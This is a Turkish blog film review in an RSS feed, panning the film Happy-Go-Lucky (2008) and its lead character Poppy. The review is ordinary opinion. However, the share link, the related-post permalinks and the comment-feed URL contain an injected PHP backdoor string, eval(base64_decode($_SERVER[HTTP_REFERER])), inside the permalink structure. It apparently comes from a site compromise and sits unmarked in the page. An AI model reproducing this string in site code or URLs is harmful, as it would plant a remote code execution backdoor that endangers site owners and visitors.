<p>Senarist ve yönetmen <a href=/tag/mike-leigh target=_blank>Mike Leigh</a>&#8217;in nasıl böyle bir karakterin katlanılabilir olduğunu düşündüğüne akıl sır erdirmek güç. Çevresini mutlu etmeye çalışan insanların deliliklerine mi gönderme yapılmış? Çevreni mutlu etmenin hata olduğu mu söylenmeye çalışılmış acaba. Bunlar sadece iyimser fikirler olurdu, senaristimiz karakterin gerçekliğinin olmadığını bildiğinden abartarak masalcı Polyanna vari bir his katmaya çalışmış. Tabi ki Polyanna&#8217;ya baktığınızda saflık görebilirsiniz ama rahatsız edici şekilde insanların üstüne gelen bir tavrı mevcut değildir.</p>
<div id="attachment_1052" class="wp-caption aligncenter" style="width: 650px"><a href="http://www.izlerkenkiler.com/wp-content/uploads/happygolucky2008limiteddvdripxvid-amiable-cd203118223-59-38.jpg"><img class="size-full wp-image-1052" title="happygolucky-araba" src="http://www.izlerkenkiler.com/wp-content/uploads/happygolucky2008limiteddvdripxvid-amiable-cd203118223-59-38.jpg" alt="happygolucky2008limiteddvdripxvid-amiable-cd203118223-59-38" width="640" height="272" /></a><p class="wp-caption-text">Bu aptal ifadenin ardında ne derinlik(!) var oysa ki!</p></div>
<p>İnsanları mutlu etmenin yolu birkaç küçük hareketten ya da jestten geçer, gerzekçesine mutlu olmaktan ya da insanların rahatsız edercesine üstlerine gitmekten değil. Sanırım senarist kendi sosyal kopukluğuna hayat buldurmuş, herkesin mutsuz olduğu bir dünyada mutlu olan ve mutlu eden bir karakterin nasıl olabileceğine dair fikirleri olmadığını ortaya dökmüş. Karaktere verdiği hızlı konuşma, kafasını arabanın arkasına konan köpek biblolar gibi sürekli sallama ve içe çekip verdiği nefes gibi jestler de sayesinde de rahatsız ediciliğe vucüt buldurmuş.</p>
<div id="attachment_1054" class="wp-caption alignright" style="width: 310px"><a href="http://www.izlerkenkiler.com/wp-content/uploads/happy-go-lucky.jpg"><img class="size-medium wp-image-1054" title="happy-go-lucky" src="http://www.izlerkenkiler.com/wp-content/uploads/happy-go-lucky-300x200.jpg" alt="happy-go-lucky" width="300" height="200" /></a><p class="wp-caption-text"> </p></div>
<p>Filmde her ne kadar mutlu olmasına rağmen çevresini bir türlü mutlu edemeyen Poppy&#8217;ye değiniliyor, fakat daha izleyici bu karaktere tahammül edemezken hayatta karşılaşan karakterlerin bu tepkilerine şaşmamak gerek. Bence Poppy&#8217;nin sorunu başkalarında değil de kendisinde araması gerek. Ama karakterinin sorunlarını anlayamamış, ne diye yarattığını kavrayamamış bir senaristten bunu beklemek çok fazlasını istemek olur. Özetle Poppy, filmin ana karakteri bir filmde görebileceğiniz en içi boş empati kurulmamış karakter. Hakkında bir hıciv videosu çeksem sanırım daha gerçekçi temellere dayandırabilmem zor olmaz.</p>
<p>Neyse, karakterin filmi çökertmesini geçebilirsek filmde incelenen diğer konuların ana karakterin anlamsızlığı yüzünden boğulduğunu görmek zor değil. Sürücü kursu öğretmeni, hamile kız kardeşinin evlilik ve hayat konusundaki çelişkileri, sokakta yaşayan adamla kurulan diyalog oldukça gerçekçi ve tespit içeriyor fakat bunların hepsinin güme gittiğini söylemek hata olmaz.</p>
<p>Filmin temellerinde sakatlığa müzik seçimindeki saçmalığı da eklerseniz izlerken bir eziyete dönüşmesi olası. Yüzünüze bir gülücük koyacağını iddia eden filmin o gülücüğün senariste sempati içeren bir gülücüğe dönüşmesi çok daha olası. Aklınız varsa, ne diye Altın Küreler&#8217;de gerçekdışı (sözlük anlamında) performansıyla <a href=/tag/sally-hawkins target=_blank>Sally Hawkins</a>&#8217;e ödül verildiğini bile anlayamayacağınız, <a href=/tag/happy-go-lucky target=_blank>Happy-Go-Lucky</a>&#8217;den uzak durun.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.izlerkenkiler.com%2F2009%2F02%2F24%2Fhappy-go-lucky-2008-gerzekcesine-mutlu%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=Happy-Go-Lucky%20%282008%29%20-%20Gerzekcesine%20mutlu%21"><img src="http://www.izlerkenkiler.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>

<p>Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2009/02/28/blindness-2008-gormezsen-dunya-degisir-mi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Blindness (2008) - Görmezsen dünya değişir mi?'>Blindness (2008) - Görmezsen dünya değişir mi?</a> <small>Herkesin delirdiği, ete acıktığı, zombilere dönüştüğü salgın filmlerinden bıktınız mı?...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/11/lat-den-ratte-komma-in-2008-yazgiya-razi-olmanin-farkli-bir-turu/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Låt den rätte komma in (2008) - Yazgıya razı olmanın farklı bir türü'>Låt den rätte komma in (2008) - Yazgıya razı olmanın farklı bir türü</a> <small>İsveç yapımı &#8220;Låt den rätte komma in&#8221;, vampir filmlerinde görmeye...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/11/gomorra-2008-italya-cephesinde-degisen-bir-sey-yok/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Gomorra (2008) - İtalya cephesinde değişen bir şey yok!'>Gomorra (2008) - İtalya cephesinde değişen bir şey yok!</a> <small>Gomorra şatafatlı mafya filmlerinin aksine güncel İtalyan mafyasını perdeye en...</small></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.izlerkenkiler.com/2009/02/24/happy-go-lucky-2008-gerzekcesine-mutlu/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
